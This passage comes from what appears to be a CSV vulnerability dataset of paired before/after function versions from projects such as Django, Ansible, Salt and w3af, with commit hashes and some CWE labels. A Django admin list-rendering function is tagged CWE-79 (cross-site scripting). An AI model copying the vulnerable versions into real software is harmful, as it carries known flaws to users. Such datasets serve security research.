        assert ""test_label"" in jmespath.search(""metadata.labels"", docs[0])
        assert jmespath.search(""metadata.labels"", docs[0])[""test_label""] == ""test_label_value"""
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def items_for_result(cl, result, form):
    """"""
    Generate the actual list of data.
    """"""

    def link_in_col(is_first, field_name, cl):
        if cl.list_display_links is None:
            return False
        if is_first and not cl.list_display_links:
            return True
        return field_name in cl.list_display_links

    first = True
    pk = cl.lookup_opts.pk.attname
    for field_index, field_name in enumerate(cl.list_display):
        empty_value_display = cl.model_admin.get_empty_value_display()
        row_classes = [""field-%s"" % _coerce_field_name(field_name, field_index)]
        link_to_changelist = link_in_col(first, field_name, cl)
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except ObjectDoesNotExist:
            result_repr = empty_value_display
        else:
            empty_value_display = getattr(
                attr, ""empty_value_display"", empty_value_display
            )
            if f is None or f.auto_created:
                if field_name == ""action_checkbox"":
                    row_classes = [""action-checkbox""]
                boolean = getattr(attr, ""boolean"", False)
                # Set boolean for attr that is a property, if defined.
                if isinstance(attr, property) and hasattr(attr, ""fget""):
                    boolean = getattr(attr.fget, ""boolean"", False)
                result_repr = display_for_value(value, empty_value_display, boolean)
                if isinstance(value, (datetime.date, datetime.time)):
                    row_classes.append(""nowrap"")
            else:
                if isinstance(f.remote_field, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = empty_value_display
                    else:
                        result_repr = field_val
                else:
                    result_repr = display_for_field(
                        value,
                        f,
                        empty_value_display,
                        avoid_link=link_to_changelist,
                    )
                if isinstance(
                    f, (models.DateField, models.TimeField, models.ForeignKey)
                ):
                    row_classes.append(""nowrap"")
        row_class = mark_safe(' class=""%s""' % "" "".join(row_classes))
        # If list_display_links not defined, add the link tag to the first field
        if link_to_changelist:
            table_tag = ""th"" if first else ""td""
            first = False

            # Display link to the result's change_view if the url exists, else
            # display just the result's representation.
            try:
                url = cl.url_for_result(result)
            except NoReverseMatch:
                link_or_text = result_repr
            else:
                url = add_preserved_filters(
                    {""preserved_filters"": cl.preserved_filters, ""opts"": cl.opts}, url
                )
                # Convert the pk to something that can be used in JavaScript.
                # Problem cases are non-ASCII strings.
                if cl.to_field:
                    attr = str(cl.to_field)
                else:
                    attr = pk
                value = result.serializable_value(attr)
                link_or_text = format_html(
                    '<a href=""{}""{}>{}</a>',
                    url,
                    (
                        format_html(' data-popup-opener=""{}""', value)
                        if cl.is_popup
                        else """"
                    ),
                    result_repr,
                )

            yield format_html(
                ""<{}{}>{}</{}>"", table_tag, row_class, link_or_text, table_tag
            )
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if (
                form
                and field_name in form.fields
                and not (
                    field_name == cl.model._meta.pk.name
                    and form[cl.model._meta.pk.name].is_hidden
                )
            ):
                bf = form[field_name]
                result_repr = mark_safe(str(bf.errors) + str(bf))
            yield format_html(""<td{}>{}</td>"", row_class, result_repr)
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield format_html(""<td>{}</td>"", form[cl.model._meta.pk.name])",CWE-79,django/django,a9c79b462923ce366101db1b5a3fff3d1dad870c,"def items_for_result(cl, result, form):
    """"""
    Generate the actual list of data.
    """"""

    def link_in_col(is_first, field_name, cl):
        if cl.list_display_links is None:
            return False
        if is_first and not cl.list_display_links:
            return True
        return field_name in cl.list_display_links

    first = True
    pk = cl.lookup_opts.pk.attname
    for field_index, field_name in enumerate(cl.list_display):
        empty_value_display = cl.model_admin.get_empty_value_display()
        row_classes = [""field-%s"" % _coerce_field_name(field_name, field_index)]
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except ObjectDoesNotExist:
            result_repr = empty_value_display
        else:
            empty_value_display = getattr(
                attr, ""empty_value_display"", empty_value_display
            )
            if f is None or f.auto_created:
                if field_name == ""action_checkbox"":
                    row_classes = [""action-checkbox""]
                boolean = getattr(attr, ""boolean"", False)
                # Set boolean for attr that is a property, if defined.
                if isinstance(attr, property) and hasattr(attr, ""fget""):
                    boolean = getattr(attr.fget, ""boolean"", False)
                result_repr = display_for_value(value, empty_value_display, boolean)
                if isinstance(value, (datetime.date, datetime.time)):
                    row_classes.append(""nowrap"")
            else:
                if isinstance(f.remote_field, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = empty_value_display
                    else:
                        result_repr = field_val
                else:
                    result_repr = display_for_field(value, f, empty_value_display)
                if isinstance(
                    f, (models.DateField, models.TimeField, models.ForeignKey)
                ):
                    row_classes.append(""nowrap"")
        row_class = mark_safe(' class=""%s""' % "" "".join(row_classes))
        # If list_display_links not defined, add the link tag to the first field
        if link_in_col(first, field_name, cl):
            table_tag = ""th"" if first else ""td""
            first = False

            # Display link to the result's change_view if the url exists, else
            # display just the result's representation.
            try:
                url = cl.url_for_result(result)
            except NoReverseMatch:
                link_or_text = result_repr
            else:
                url = add_preserved_filters(
                    {""preserved_filters"": cl.preserved_filters, ""opts"": cl.opts}, url
                )
                # Convert the pk to something that can be used in JavaScript.
                # Problem cases are non-ASCII strings.
                if cl.to_field:
                    attr = str(cl.to_field)
                else:
                    attr = pk
                value = result.serializable_value(attr)
                link_or_text = format_html(
                    '<a href=""{}""{}>{}</a>',
                    url,
                    (
                        format_html(' data-popup-opener=""{}""', value)
                        if cl.is_popup
                        else """"
                    ),
                    result_repr,
                )

            yield format_html(
                ""<{}{}>{}</{}>"", table_tag, row_class, link_or_text, table_tag
            )
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if (
                form
                and field_name in form.fields
                and not (
                    field_name == cl.model._meta.pk.name
                    and form[cl.model._meta.pk.name].is_hidden
                )
            ):
                bf = form[field_name]
                result_repr = mark_safe(str(bf.errors) + str(bf))
            yield format_html(""<td{}>{}</td>"", row_class, result_repr)
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield format_html(""<td>{}</td>"", form[cl.model._meta.pk.name])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/tests/test_HTTPResponse.py,0,"def test_dump_response_head_5416(self):
        """"""
        :see: https://github.com/andresriancho/w3af/issues/5416
        """"""
        url = URL('http://w3af.com')
        headers = Headers()
        msg = 'D\xe9plac\xe9 Temporairement'
        resp = HTTPResponse(200, '', headers, url, url, msg=msg)

        expected_dump = u'HTTP/1.1 200 Déplacé Temporairement\r\n'

        self.assertEqual(resp.dump_response_head(), expected_dump)",,andresriancho/w3af,79830b47de6bf5e96a7b2b9602c8f523ecd073a0,"def test_dump_response_head_5416(self):
        """"""
        :see: https://github.com/andresriancho/w3af/issues/5416
        """"""
        url = URL('http://w3af.com')
        headers = Headers()
        msg = 'D\xe9plac\xe9 Temporairement'
        resp = HTTPResponse(200, '', headers, url, url, msg=msg)

        expected_dump = u'HTTP/1.1 200 Déplacé Temporairement\r\n'

        self.assertEqual(unicode(resp.dump_response_head()),
                         expected_dump)"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_timezone.py,1,"def test_get_zone_centos(self):
        '''
        Test CentOS is recognized
        :return:
        '''
        with patch.dict(timezone.__grains__, {'os': 'centos'}):
            with patch('salt.modules.timezone._get_zone_etc_localtime', MagicMock(return_value=self.TEST_TZ)):
                assert timezone.get_zone() == self.TEST_TZ",CWE-703,saltstack/salt,c282533612964dff0ed685eb7e16df9e4061226a,"def test_get_zone_centos(self):
        '''
        Test CentOS is recognized
        :return:
        '''
        timezone.__grains__['os'] = 'centos'
        with patch('salt.modules.timezone._get_zone_etc_localtime', MagicMock(return_value=self.TEST_TZ)):
            assert timezone.get_zone() == self.TEST_TZ"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gtkUi/kbtree.py,0,"def __init__(self, w3af, ifilter, title, strict):
        self.strict = strict
        self.w3af = w3af

        # simple empty Tree Store
        # columns: string to show; key for the plugin instance, icon, colorLevel, color, child_count
        self.treestore = gtk.TreeStore(str, str, gtk.gdk.Pixbuf, int, str, str)
        gtk.TreeView.__init__(self, self.treestore)
        #self.set_enable_tree_lines(True)

        # the text, icon column and the child_count
        tvcolumn = gtk.TreeViewColumn(title)
        cell = gtk.CellRendererPixbuf()
        tvcolumn.pack_start(cell, expand=False)
        tvcolumn.add_attribute(cell, ""pixbuf"", 2)
        cell = gtk.CellRendererText()
        tvcolumn.pack_start(cell, expand=False)
        tvcolumn.add_attribute(cell, ""text"", 0)
        tvcolumn.add_attribute(cell, ""foreground"", 4)
        cell = gtk.CellRendererText()
        tvcolumn.pack_start(cell, expand=True)
        tvcolumn.add_attribute(cell, ""text"", 5)
        tvcolumn.add_attribute(cell, ""foreground"", 4)
        self.append_column(tvcolumn)

        # Sort function
        # remember that the 3 is just a number that is then used in
        # set_sort_column_id
        self.treestore.set_sort_func(3, self._treestore_sort)

        # this tree structure will keep the parents where to insert nodes
        self.treeholder = {}

        # here we will hold the instances, the key will be stored in the store
        self.instances = {}

        # initial filters
        self.filter = ifilter
        self.lastcheck = False

        # button events
        self.connect('button-release-event', self._popup)
        self.connect('button-press-event', self._doubleClick)

        # get the knowledge base and go live
        self.fullkb = kb.kb.dump()
        gobject.timeout_add(500, self._updateTree, self.treestore, self.treeholder)
        self.postcheck = False
        self.show()",,andresriancho/w3af,ff1a4ec186cf86bb1ce3d2e8ad86673f66dab151,"def __init__(self, w3af, ifilter, title, strict):
        self.strict = strict
        self.w3af = w3af

        # simple empty Tree Store
        # columns: string to show; key for the plugin instance, icon, colorLevel, color
        self.treestore = gtk.TreeStore(str, str, gtk.gdk.Pixbuf, int, str, str)
        gtk.TreeView.__init__(self, self.treestore)
        #self.set_enable_tree_lines(True)

        # the text, icon column and the child_count
        tvcolumn = gtk.TreeViewColumn(title)
        cell = gtk.CellRendererPixbuf()
        tvcolumn.pack_start(cell, expand=False)
        tvcolumn.add_attribute(cell, ""pixbuf"", 2)
        cell = gtk.CellRendererText()
        tvcolumn.pack_start(cell, expand=False)
        tvcolumn.add_attribute(cell, ""text"", 0)
        tvcolumn.add_attribute(cell, ""foreground"", 4)
        cell = gtk.CellRendererText()
        tvcolumn.pack_start(cell, expand=True)
        tvcolumn.add_attribute(cell, ""text"", 5)
        tvcolumn.add_attribute(cell, ""foreground"", 4)
        self.append_column(tvcolumn)

        # Sort function
        # remember that the 3 is just a number that is then used in
        # set_sort_column_id
        self.treestore.set_sort_func(3, self._treestore_sort)

        # this tree structure will keep the parents where to insert nodes
        self.treeholder = {}

        # here we will hold the instances, the key will be stored in the store
        self.instances = {}

        # initial filters
        self.filter = ifilter
        self.lastcheck = False

        # button events
        self.connect('button-release-event', self._popup)
        self.connect('button-press-event', self._doubleClick)

        # get the knowledge base and go live
        self.fullkb = kb.kb.dump()
        gobject.timeout_add(500, self._updateTree, self.treestore, self.treeholder)
        self.postcheck = False
        self.show()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/artifact/test_databricks_models_artifact_repo.py,0,"def test_download_file(self, databricks_model_artifact_repo, remote_file_path, local_path):
        signed_uri_response_mock = mock.MagicMock()
        signed_uri_response_mock.status_code = 200
        signed_uri_mock = {
            ""signed_uri"": ""https://my-amazing-signed-uri-to-rule-them-all.com/1234-numbers-yay-567"",
            ""headers"": [{""name"": ""header_name"", ""value"": ""header_value""}],
        }
        expected_headers = {""header_name"": ""header_value""}
        signed_uri_response_mock.text = json.dumps(signed_uri_mock)
        with mock.patch(
            DATABRICKS_MODEL_ARTIFACT_REPOSITORY + ""._call_endpoint""
        ) as call_endpoint_mock, mock.patch(
            DATABRICKS_MODEL_ARTIFACT_REPOSITORY_PACKAGE + "".download_file_using_http_uri""
        ) as download_mock:
            call_endpoint_mock.return_value = signed_uri_response_mock
            download_mock.return_value = None
            databricks_model_artifact_repo.download_artifacts(remote_file_path, local_path)
            call_endpoint_mock.assert_called_with(ANY, REGISTRY_ARTIFACT_PRESIGNED_URI_ENDPOINT)
            download_mock.assert_called_with(
                signed_uri_mock[""signed_uri""],
                ANY,
                ANY,
                expected_headers,
            )",,mlflow/mlflow,6cbf9d547ca0b4efa640a928bb2f41ff3a59c75f,"def test_download_file(self, databricks_model_artifact_repo, remote_file_path, local_path):
        signed_uri_response_mock = mock.MagicMock()
        signed_uri_response_mock.status_code = 200
        signed_uri_mock = {
            ""signed_uri"": ""https://my-amazing-signed-uri-to-rule-them-all.com/1234-numbers-yay-567""
        }
        signed_uri_response_mock.text = json.dumps(signed_uri_mock)
        with mock.patch(
            DATABRICKS_MODEL_ARTIFACT_REPOSITORY + ""._call_endpoint""
        ) as call_endpoint_mock, mock.patch(
            DATABRICKS_MODEL_ARTIFACT_REPOSITORY_PACKAGE + "".download_file_using_http_uri""
        ) as download_mock:
            call_endpoint_mock.return_value = signed_uri_response_mock
            download_mock.return_value = None
            databricks_model_artifact_repo.download_artifacts(remote_file_path, local_path)
            call_endpoint_mock.assert_called_with(ANY, REGISTRY_ARTIFACT_PRESIGNED_URI_ENDPOINT)
            download_mock.assert_called_with(signed_uri_mock[""signed_uri""], ANY, ANY)"
,UNKNOWN,UNKNOWN,test/units/module_utils/basic/test_atomic_move.py,1,"def test_rename_perms_fail_temp_succeeds(atomic_am, atomic_mocks, fake_stat, mocker, selinux):
    """"""Test os.rename raising an error but fallback to using mkstemp works""""""
    mock_context = atomic_am.selinux_default_context.return_value
    atomic_mocks['path_exists'].return_value = False
    atomic_mocks['rename'].side_effect = [OSError(errno.EPERM, 'failing with EPERM'), None]
    atomic_mocks['stat'].return_value = fake_stat
    atomic_mocks['stat'].side_effect = None
    atomic_mocks['mkstemp'].return_value = (None, '/path/to/tempfile')
    atomic_mocks['mkstemp'].side_effect = None
    atomic_am.selinux_enabled.return_value = selinux

    atomic_am.atomic_move('/path/to/src', '/path/to/dest')
    assert atomic_mocks['rename'].call_args_list == [mocker.call(b'/path/to/src', b'/path/to/dest'),
                                                     mocker.call(b'/path/to/tempfile', b'/path/to/dest')]
    assert atomic_mocks['chmod'].call_args_list == [mocker.call(b'/path/to/dest', basic.DEFAULT_PERM & ~18)]

    if selinux:
        assert atomic_am.selinux_default_context.call_args_list == [mocker.call('/path/to/dest')]
        assert atomic_am.set_context_if_different.call_args_list == [mocker.call(b'/path/to/tempfile', mock_context, False),
                                                                     mocker.call('/path/to/dest', mock_context, False)]
    else:
        assert not atomic_am.selinux_default_context.called
        assert not atomic_am.set_context_if_different.called",CWE-703,ansible/ansible,f1e67c3328a8e03c9810c43431ebb5b62b97ec00,"def test_rename_perms_fail_temp_succeeds(atomic_am, atomic_mocks, fake_stat, mocker, selinux):
    """"""Test os.rename raising an error but fallback to using mkstemp works""""""
    mock_context = atomic_am.selinux_default_context.return_value
    atomic_mocks['path_exists'].return_value = False
    atomic_mocks['rename'].side_effect = [OSError(errno.EPERM, 'failing with EPERM'), None]
    atomic_mocks['stat'].return_value = [fake_stat, fake_stat, fake_stat]
    atomic_mocks['stat'].side_effect = None
    atomic_mocks['mkstemp'].return_value = (None, '/path/to/tempfile')
    atomic_mocks['mkstemp'].side_effect = None
    atomic_am.selinux_enabled.return_value = selinux

    atomic_am.atomic_move('/path/to/src', '/path/to/dest')
    assert atomic_mocks['rename'].call_args_list == [mocker.call(b'/path/to/src', b'/path/to/dest'),
                                                     mocker.call(b'/path/to/tempfile', b'/path/to/dest')]
    assert atomic_mocks['chmod'].call_args_list == [mocker.call(b'/path/to/dest', basic.DEFAULT_PERM & ~18)]

    if selinux:
        assert atomic_am.selinux_default_context.call_args_list == [mocker.call('/path/to/dest')]
        assert atomic_am.set_context_if_different.call_args_list == [mocker.call(b'/path/to/tempfile', mock_context, False),
                                                                     mocker.call('/path/to/dest', mock_context, False)]
    else:
        assert not atomic_am.selinux_default_context.called
        assert not atomic_am.set_context_if_different.called"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/runner/action_plugins/unarchive.py,0,"def run(self, conn, tmp, module_name, module_args, inject, complex_args=None, **kwargs):
        ''' handler for file transfer operations '''

        # load up options
        options = {}
        if complex_args:
            options.update(complex_args)
        options.update(utils.parse_kv(module_args))
        source  = options.get('src', None)
        dest    = options.get('dest', None)
        copy    = utils.boolean(options.get('copy', 'yes'))
        creates = options.get('creates', None)

        if source is None or dest is None:
            result = dict(failed=True, msg=""src (or content) and dest are required"")
            return ReturnData(conn=conn, result=result)

        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            module_args_tmp = ""path=%s"" % creates
            module_return = self.runner._execute_module(conn, tmp, 'stat', module_args_tmp, inject=inject,
                                                        complex_args=complex_args, persist_files=True)
            stat = module_return.result.get('stat', None)
            if stat and stat.get('exists', False):
                return ReturnData(
	            conn=conn,
                    comm_ok=True,
                    result=dict(
                        skipped=True,
                        changed=False,
                        msg=(""skipped, since %s exists"" % creates)
                    )
                )

        dest = self.runner._remote_expand_user(conn, dest, tmp) # CCTODO: Fix path for Windows hosts.
        source = template.template(self.runner.basedir, os.path.expanduser(source), inject)
        if copy:
            if '_original_file' in inject:
                source = utils.path_dwim_relative(inject['_original_file'], 'files', source, self.runner.basedir)
            else:
                source = utils.path_dwim(self.runner.basedir, source)

        remote_checksum = self.runner._remote_checksum(conn, tmp, dest, inject)
        if remote_checksum != '3':
            result = dict(failed=True, msg=""dest '%s' must be an existing dir"" % dest)
            return ReturnData(conn=conn, result=result)

        if copy:
            # transfer the file to a remote tmp location
            tmp_src = tmp + 'source'
            conn.put_file(source, tmp_src)

        # handle diff mode client side
        # handle check mode client side
        # fix file permissions when the copy is done as a different user
        if copy:
            if self.runner.sudo and self.runner.sudo_user != 'root' or self.runner.su and self.runner.su_user != 'root':
                if not self.runner.noop_on_check(inject):
                    self.runner._remote_chmod(conn, 'a+r', tmp_src, tmp)
            # Build temporary module_args.
            new_module_args = dict(
                src=tmp_src,
                original_basename=os.path.basename(source),
            )

            # make sure checkmod is passed on correctly
            if self.runner.noop_on_check(inject):
                new_module_args['CHECKMODE'] = True

            module_args = utils.merge_module_args(module_args, new_module_args)
        else:
            module_args = ""%s original_basename=%s"" % (module_args, pipes.quote(os.path.basename(source)))
            # make sure checkmod is passed on correctly
            if self.runner.noop_on_check(inject):
                module_args += "" CHECKMODE=True""
        return self.runner._execute_module(conn, tmp, 'unarchive', module_args, inject=inject, complex_args=complex_args)",,ansible/ansible,bfb4a0c83aef1a02de3e1f7d9ebe1577e70524d7,"def run(self, conn, tmp, module_name, module_args, inject, complex_args=None, **kwargs):
        ''' handler for file transfer operations '''

        # load up options
        options = {}
        if complex_args:
            options.update(complex_args)
        options.update(utils.parse_kv(module_args))
        source  = options.get('src', None)
        dest    = options.get('dest', None)
        copy    = utils.boolean(options.get('copy', 'yes'))
        creates = options.get('creates', None)

        if source is None or dest is None:
            result = dict(failed=True, msg=""src (or content) and dest are required"")
            return ReturnData(conn=conn, result=result)

        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            module_args_tmp = ""path=%s"" % creates
            module_return = self.runner._execute_module(conn, tmp, 'stat', module_args_tmp, inject=inject,
                                                        complex_args=complex_args, persist_files=True)
            stat = module_return.result.get('stat', None)
            if stat and stat.get('exists', False):
                return ReturnData(
	            conn=conn,
                    comm_ok=True,
                    result=dict(
                        skipped=True,
                        msg=(""skipped, since %s exists"" % creates)
                    )
                )

        dest = self.runner._remote_expand_user(conn, dest, tmp) # CCTODO: Fix path for Windows hosts.
        source = template.template(self.runner.basedir, os.path.expanduser(source), inject)
        if copy:
            if '_original_file' in inject:
                source = utils.path_dwim_relative(inject['_original_file'], 'files', source, self.runner.basedir)
            else:
                source = utils.path_dwim(self.runner.basedir, source)

        remote_checksum = self.runner._remote_checksum(conn, tmp, dest, inject)
        if remote_checksum != '3':
            result = dict(failed=True, msg=""dest '%s' must be an existing dir"" % dest)
            return ReturnData(conn=conn, result=result)

        if copy:
            # transfer the file to a remote tmp location
            tmp_src = tmp + 'source'
            conn.put_file(source, tmp_src)

        # handle diff mode client side
        # handle check mode client side
        # fix file permissions when the copy is done as a different user
        if copy:
            if self.runner.sudo and self.runner.sudo_user != 'root' or self.runner.su and self.runner.su_user != 'root':
                if not self.runner.noop_on_check(inject):
                    self.runner._remote_chmod(conn, 'a+r', tmp_src, tmp)
            # Build temporary module_args.
            new_module_args = dict(
                src=tmp_src,
                original_basename=os.path.basename(source),
            )

            # make sure checkmod is passed on correctly
            if self.runner.noop_on_check(inject):
                new_module_args['CHECKMODE'] = True

            module_args = utils.merge_module_args(module_args, new_module_args)
        else:
            module_args = ""%s original_basename=%s"" % (module_args, pipes.quote(os.path.basename(source)))
            # make sure checkmod is passed on correctly
            if self.runner.noop_on_check(inject):
                module_args += "" CHECKMODE=True""
        return self.runner._execute_module(conn, tmp, 'unarchive', module_args, inject=inject, complex_args=complex_args)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/virt.py,0,"def cpu_baseline(full=False, migratable=False, out='libvirt'):
    '''
    Return the optimal 'custom' CPU baseline config for VM's on this minion

    .. versionadded:: Boron

    :param full: Return all CPU features rather than the ones on top of the closest CPU model
    :param migratable: Exclude CPU features that are unmigratable (libvirt 2.13+)
    :param out: 'libvirt' (default) for usable libvirt XML definition, 'salt' for nice dict

    CLI Example:

    .. code-block:: bash

        salt '*' virt.cpu_baseline

    '''
    conn = __get_conn()
    caps = _capabilities()

    cpu = caps.getElementsByTagName('host')[0].getElementsByTagName('cpu')[0]

    log.debug('Host CPU model definition: {0}'.format(cpu.toxml()))

    flags = 0
    if migratable:
        # This one is only in 1.2.13+
        if getattr(libvirt, 'VIR_CONNECT_BASELINE_CPU_MIGRATABLE', False):
            flags += libvirt.VIR_CONNECT_BASELINE_CPU_MIGRATABLE
        else:
            raise ValueError

    if full:
        flags += libvirt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES

    cpu = conn.baselineCPU([cpu.toxml()], flags)

    if out == 'libvirt':
        return cpu
    elif out == 'salt':
        cpu = minidom.parseString(cpu)
        return {
            'model': cpu.getElementsByTagName('model')[0].childNodes[0].nodeValue,
            'vendor': cpu.getElementsByTagName('vendor')[0].childNodes[0].nodeValue,
            'features': [feature.getAttribute('name') for feature in cpu.getElementsByTagName('feature')]
        }",,saltstack/salt,47117b5e8b13e438a41fd7d06716437b7d38146c,"def cpu_baseline(full=False, migratable=False, out='libvirt'):
    '''
    Return the optimal 'custom' CPU baseline config for VM's on this minion

    .. versionadded:: Boron

    :param full: Return all CPU features rather than the ones on top of the closest CPU model
    :param migratable: Exclude CPU features that are unmigratable (libvirt 2.13+)
    :param out: 'libvirt' (default) for usable libvirt XML definition, 'salt' for nice dict

    CLI Example:

    .. code-block:: bash

        salt '*' virt.cpu_baseline

    '''
    conn = __get_conn()
    caps = _capabilities()

    cpu = caps.getElementsByTagName('host')[0].getElementsByTagName('cpu')[0]

    log.debug('Host CPU model definition: {0}'.format(cpu.toxml()))

    flags = 0
    if migratable:
        # This one is only in 1.2.13+
        if getattr(libvirt, 'VIR_CONNECT_BASELINE_CPU_MIGRATABLE', False):
            flags += libvirt.VIR_CONNECT_BASELINE_CPU_MIGRATABLE
        else:
            raise ValueError

    if full:
        flags += libvirt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES

    cpu = conn.baselineCPU([cpu.toxml()],  flags)

    if out == 'libvirt':
        return cpu
    elif out == 'salt':
        cpu = minidom.parseString(cpu)
        return {
            'model': cpu.getElementsByTagName('model')[0].childNodes[0].nodeValue,
            'vendor': cpu.getElementsByTagName('vendor')[0].childNodes[0].nodeValue,
            'features': [feature.getAttribute('name') for feature in cpu.getElementsByTagName('feature')]
        }"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in a sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""index.js""),
        pjoin(components, ""xterm.js-css"", ""index.css""),
        pjoin(components, ""xterm.js-fit"", ""index.js""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data",,jupyter/notebook,dab784fddf2178cf4b91a947715d0c5c7f121d65,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in a sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
